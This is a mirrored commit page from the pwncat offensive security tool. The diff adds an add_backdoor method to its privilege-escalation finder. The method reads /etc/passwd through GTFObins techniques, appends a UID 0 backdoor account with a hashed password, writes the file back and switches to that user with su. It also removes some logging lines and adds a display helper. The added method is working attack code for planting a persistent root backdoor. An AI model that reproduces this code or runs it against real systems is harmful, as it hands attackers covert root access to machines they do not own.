mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Added add_backdor method to the privesc finder to fix EUID issues after SUID escalation
This commit is contained in:
parent
ec2711a086
commit
02db34379c
@ -5,6 +5,7 @@ import crypt
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
|
||||
from pwncat.privesc.setuid import SetuidMethod
|
||||
from pwncat.privesc.sudo import SudoMethod
|
||||
from pwncat import downloader
|
||||
from pwncat import gtfobins
|
||||
from pwncat import util
|
||||
|
||||
@ -72,6 +73,54 @@ class Finder:
|
||||
|
||||
return techniques
|
||||
|
||||
def add_backdoor(self):
|
||||
""" Add the backdoor user if it doesn't already exist. This is normally
|
||||
called in order to solidify full UID=0 access (e.g. when SUID binaries
|
||||
yield a EUID=0 but UID!=0. """
|
||||
|
||||
self.pty.reload_users()
|
||||
|
||||
if self.backdoor_user_name not in self.pty.users:
|
||||
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
|
||||
if binary is None:
|
||||
raise PrivescError("no file read methods available from gtfobins")
|
||||
|
||||
# Read the etc/passwd file
|
||||
passwd = self.pty.subprocess(binary.read_file("/etc/passwd"))
|
||||
data = passwd.read()
|
||||
passwd.close()
|
||||
|
||||
# Split up the file by lines
|
||||
data = data.decode("utf-8").strip()
|
||||
data = data.split("\n")
|
||||
|
||||
# Add a new user
|
||||
password = crypt.crypt(self.backdoor_password)
|
||||
user = self.backdoor_user_name
|
||||
data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")
|
||||
|
||||
# Prepare data for transmission
|
||||
data = ("\n".join(data) + "\n").encode("utf-8")
|
||||
|
||||
# Find a GTFObins payload that works
|
||||
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE)
|
||||
if binary is None:
|
||||
raise PrivescError("no file write methods available from gtfobins")
|
||||
|
||||
# Write the file
|
||||
self.pty.run(binary.write_file("/etc/passwd", data))
|
||||
|
||||
# Stabilize output after the file write
|
||||
self.pty.run("echo")
|
||||
|
||||
# Reload the /etc/passwd data
|
||||
self.pty.reload_users()
|
||||
|
||||
if self.backdoor_user_name not in self.pty.users:
|
||||
raise PrivescError("/etc/passwd update failed!")
|
||||
|
||||
self.pty.run(f"su {self.backdoor_user_name}", input=self.backdoor_password)
|
||||
|
||||
def write_file(
|
||||
self,
|
||||
filename: str,
|
||||
|
@ -123,10 +123,6 @@ class SetuidMethod(Method):
|
||||
return read_pipe
|
||||
|
||||
def write_file(self, filepath: str, data: bytes, technique: Technique):
|
||||
info(
|
||||
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
|
||||
)
|
||||
|
||||
binary = technique.ident
|
||||
payload = binary.write_file(filepath, data)
|
||||
|
||||
|
@ -262,9 +262,6 @@ class SudoMethod(Method):
|
||||
|
||||
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
||||
|
||||
info(
|
||||
f"attempting to read {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
|
||||
)
|
||||
binary, sudo_spec, password_required = technique.ident
|
||||
|
||||
read_payload = binary.read_file(
|
||||
@ -280,9 +277,6 @@ class SudoMethod(Method):
|
||||
|
||||
def write_file(self, filepath: str, data: bytes, technique: Technique):
|
||||
|
||||
info(
|
||||
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
|
||||
)
|
||||
binary, sudo_spec, password_required = technique.ident
|
||||
payload = binary.write_file(
|
||||
filepath, data, sudo_prefix=f"sudo -u {shlex.quote(technique.user)}"
|
||||
@ -292,3 +286,19 @@ class SudoMethod(Method):
|
||||
self.pty.run(
|
||||
payload, input=functools.partial(self.send_password, self.pty.current_user),
|
||||
)
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
""" Get the name of the given technique for display """
|
||||
return (
|
||||
(
|
||||
f"{Fore.GREEN}{tech.user}{Fore.RESET} via "
|
||||
f"{Fore.CYAN}{tech.ident[0].path}{Fore.RESET} "
|
||||
f"({Fore.RED}sudo{Fore.RESET}"
|
||||
)
|
||||
+ (
|
||||
""
|
||||
if tech.ident[2]
|
||||
else f" {Style.BRIGHT+Fore.RED}NOPASSWD{Style.RESET_ALL}"
|
||||
)
|
||||
+ ")"
|
||||
)
|
||||
|
Loading…
Reference in New Issue
Block a user